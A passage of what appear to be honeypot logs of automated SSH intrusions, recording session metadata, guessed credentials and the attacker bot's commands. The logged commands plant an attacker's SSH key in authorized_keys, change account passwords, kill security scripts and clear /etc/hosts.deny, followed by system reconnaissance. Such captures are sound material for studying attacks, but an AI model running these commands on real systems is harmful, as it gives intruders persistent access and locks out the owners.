AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T13:53:22.952677+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T13:53:24.033325+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T13:53:24.328180+00:00","kind":"input","latency_ms":null,"data":"echo -e \"teamspeak6\\nShKrBDaVbFxR\\nShKrBDaVbFxR\"|passwd|bash"},{"seq":6,"at":"2026-08-26T13:53:24.622375+00:00","kind":"input","latency_ms":null,"data":"echo \"teamspeak6\\nShKrBDaVbFxR\\nShKrBDaVbFxR\\n\"|passwd"},{"seq":7,"at":"2026-08-26T13:53:24.919131+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T13:53:26.228139+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-26T13:53:26.289195+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-26T13:53:26.579828+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-26T13:53:26.802815+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-26T13:53:28.401548+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T13:53:28.713721+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-26T13:53:30.519898+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-26T13:53:30.827137+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-26T13:53:32.186027+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-26T13:53:32.488576+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-26T13:53:34.037392+00:00","kind":"output","latency_ms":null,"data":" 13:53:34 up 6 days, 10:43, 0 user, load average: 0.18, 0.22, 0.16\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-26T13:53:34.328948+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-26T13:53:35.846919+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-26T13:53:36.137691+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-26T13:53:37.103888+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-26T13:53:37.393919+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-26T13:53:39.364904+00:00","kind":"output","latency_ms":null,"data":"top - 13:53:39 up 6 days, 10:43, 0 user, load average: 0.18, 0.22, 0.16\nTasks: 123 total, 1 running, 122 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-26T13:53:39.656582+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-26T13:53:41.192939+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-26T13:53:41.484249+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-26T13:53:42.874678+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-26T13:53:43.166119+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-26T13:53:43.868215+00:00","kind":"output","latency_ms":null,"data":"teamspeak"},{"seq":31,"at":"2026-08-26T13:53:44.160238+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-26T13:53:45.053366+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-26T13:53:45.344022+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-26T13:53:46.612583+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"teamspeak","password":"teamspeak6","method":"password","accepted":true,"tier":"other"}]} {"id":"7b2048a3-49c9-4762-a376-df17f560623a","name":"tranquil-dusky-kiwi","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":52230,"username":"teamspeak","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:53:21.248295+00:00","ended_at":"2026-08-26T13:53:22.860525+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"teamspeak","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"83982bfe-838e-494b-b9ba-ff8f6743bcf0","name":"buoyant-nautical-woodchuck","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":52224,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:53:19.682900+00:00","ended_at":"2026-08-26T13:53:20.699949+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"1acaed3f-f46f-4bc5-bb50-d204692265c4","name":"solemn-sandy-impala","protocol":"ssh","channel_kind":"exec","src_ip":"157.245.34.56","src_port":53458,"username":"fs","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":294,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T13:51:45.885664+00:00","ended_at":"2026-08-26T13:51:47.363054+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2115,"events":[{"seq":1,"at":"2026-08-26T13:51:17.834543+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T13:51:18.127617+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T13:51:22.547720+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T13:51:24.528121+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T13:51:24.821718+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123456\\nY6QsJnQj7BhO\\nY6QsJnQj7BhO\"|passwd|bash"},{"seq":6,"at":"2026-08-26T13:51:25.114413+00:00","kind":"input","latency_ms":null,"data":"echo \"123456\\nY6QsJnQj7BhO\\nY6QsJnQj7BhO\\n\"|passwd"},{"seq":7,"at":"2026-08-26T13:51:25.414267+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T13:51:26.193501+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-26T13:51:27.022766+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-26T13:51:27.253495+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-26T13:51:27.547528+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-26T13:51:28.529877+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T13:51:28.826915+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-26T13:51:30.825387+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-26T13:51:31.122335+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-26T13:51:32.367431+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-26T13:51:32.664078+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-26T13:51:33.550760+00:00","kind":"output","latency_ms":null,"data":" 13:51:33 up 6 days, 10:41, 0 user, load average: 0.19, 0.2, 0.13\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-26T13:51:33.844007+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-26T13:51:35.075714+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-26T13:51:35.369684+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-26T13:51:36.893571+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-26T13:51:37.188035+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-26T13:51:39.052589+00:00","kind":"output","latency_ms":null,"data":"top - 13:51:39 up 6 days, 10:41, 0 user, load average: 0.19, 0.2, 0.13\nTasks: 104 total, 1 running, 103 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8897 free, 6990 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-26T13:51:39.346094+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-26T13:51:40.282686+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-26T13:51:40.578831+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-26T13:51:41.666706+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-26T13:51:41.962032+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-26T13:51:43.767306+00:00","kind":"output","latency_ms":null,"data":"fs"},{"seq":31,"at":"2026-08-26T13:51:44.060621+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-26T13:51:45.593413+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-26T13:51:45.886471+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-26T13:51:47.275887+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"fs","password":"123456","method":"password","accepted":true,"tier":"other"}]} {"id":"7173fa52-0fd5-46e0-ba12-6fad9c61e341","name":"patient-airy-pheasant","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":53464,"username":"fs","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:51:20.819612+00:00","ended_at":"2026-08-26T13:51:22.461320+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"fs","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"8b1793ad-bbd1-4373-974f-7a9ce7c813a2","name":"hidden-tidal-lorikeet","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":53460,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:51:18.805578+00:00","ended_at":"2026-08-26T13:51:20.259682+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"6e24c3f8-99c5-4d18-b095-14b6b033502d","name":"pleasant-tranquil-gerbil","protocol":"ssh","channel_kind":"exec","src_ip":"157.245.34.56","src_port":60196,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":301,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T13:49:41.900181+00:00","ended_at":"2026-08-26T13:49:43.221617+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2159,"events":[{"seq":1,"at":"2026-08-26T13:49:13.666514+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T13:49:13.965152+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T13:49:17.870644+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T13:49:19.457757+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T13:49:19.759164+00:00","kind":"input","latency_ms":null,"data":"echo \"root:MbQ9PMxKBVQF\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T13:49:20.059253+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T13:49:20.358665+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T13:49:21.803245+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-26T13:49:22.405751+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-26T13:49:22.708274+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-26T13:49:24.841093+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-26T13:49:25.142790+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-26T13:49:27.048662+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-26T13:49:27.350931+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T13:49:28.439230+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-26T13:49:28.739690+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-26T13:49:30.704662+00:00","kind":"output","latency_ms":null,"data":" 13:49:30 up 6 days, 10:39, 0 user, load average: 0.13, 0.09, 0.1\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-26T13:49:31.006312+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-26T13:49:31.997248+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-26T13:49:32.297694+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-26T13:49:33.188110+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-26T13:49:33.484665+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-26T13:49:35.518294+00:00","kind":"output","latency_ms":null,"data":"top - 13:49:35 up 6 days, 10:39, 0 user, load average: 0.13, 0.09, 0.1\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-26T13:49:35.818747+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-26T13:49:36.905398+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-26T13:49:37.206754+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-26T13:49:38.232187+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-26T13:49:38.532678+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-26T13:49:40.468749+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-26T13:49:40.767691+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-26T13:49:41.599611+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-26T13:49:41.900893+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-26T13:49:43.133756+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"root@0101","method":"password","accepted":true,"tier":"other"}]} {"id":"e4316dea-2fa3-480e-8f81-b8e43823b127","name":"icy-seaward-stork","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":60212,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:49:16.475061+00:00","ended_at":"2026-08-26T13:49:17.781965+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"de96bcc7-318b-49ca-a1ed-52230b71324c","name":"curious-salty-salmon","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":60200,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:49:14.650406+00:00","ended_at":"2026-08-26T13:49:15.874491+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"bf5b002b-cfcb-4b2e-a989-9c3178182dda","name":"dutiful-sullen-redshank","protocol":"ssh","channel_kind":"exec","src_ip":"157.245.34.56","src_port":58848,"username":"yangx","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":293,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T13:47:47.223333+00:00","ended_at":"2026-08-26T13:47:49.210270+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2094,"events":[{"seq":1,"at":"2026-08-26T13:47:22.981965+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T13:47:23.274935+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T13:47:26.890413+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T13:47:28.719956+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T13:47:29.014034+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123456\\neYShJRCU7044\\neYShJRCU7044\"|passwd|bash"},{"seq":6,"at":"2026-08-26T13:47:29.307968+00:00","kind":"input","latency_ms":null,"data":"echo \"123456\\neYShJRCU7044\\neYShJRCU7044\\n\"|passwd"},{"seq":7,"at":"2026-08-26T13:47:29.600467+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T13:47:30.121102+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-26T13:47:31.179994+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-26T13:47:31.577919+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-26T13:47:31.871587+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-26T13:47:33.871527+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T13:47:34.167725+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-26T13:47:36.110427+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-26T13:47:36.406189+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-26T13:47:38.095450+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-26T13:47:38.388956+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-26T13:47:39.741395+00:00","kind":"output","latency_ms":null,"data":" 13:47:39 up 6 days, 10:37, 0 user, load average: 0.1, 0.1, 0.07\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-26T13:47:40.036392+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-26T13:47:40.625121+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-26T13:47:40.920047+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-26T13:47:41.629078+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-26T13:47:41.924435+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-26T13:47:42.279739+00:00","kind":"output","latency_ms":null,"data":"top - 13:47:42 up 6 days, 10:37, 0 user, load average: 0.1, 0.1, 0.07\nTasks: 119 total, 1 running, 118 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6514 free, 9373 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-26T13:47:42.574005+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-26T13:47:43.390477+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-26T13:47:43.685226+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-26T13:47:44.534356+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-26T13:47:44.827787+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-26T13:47:45.592149+00:00","kind":"output","latency_ms":null,"data":"yangx"},{"seq":31,"at":"2026-08-26T13:47:45.886022+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-26T13:47:46.929870+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-26T13:47:47.224085+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 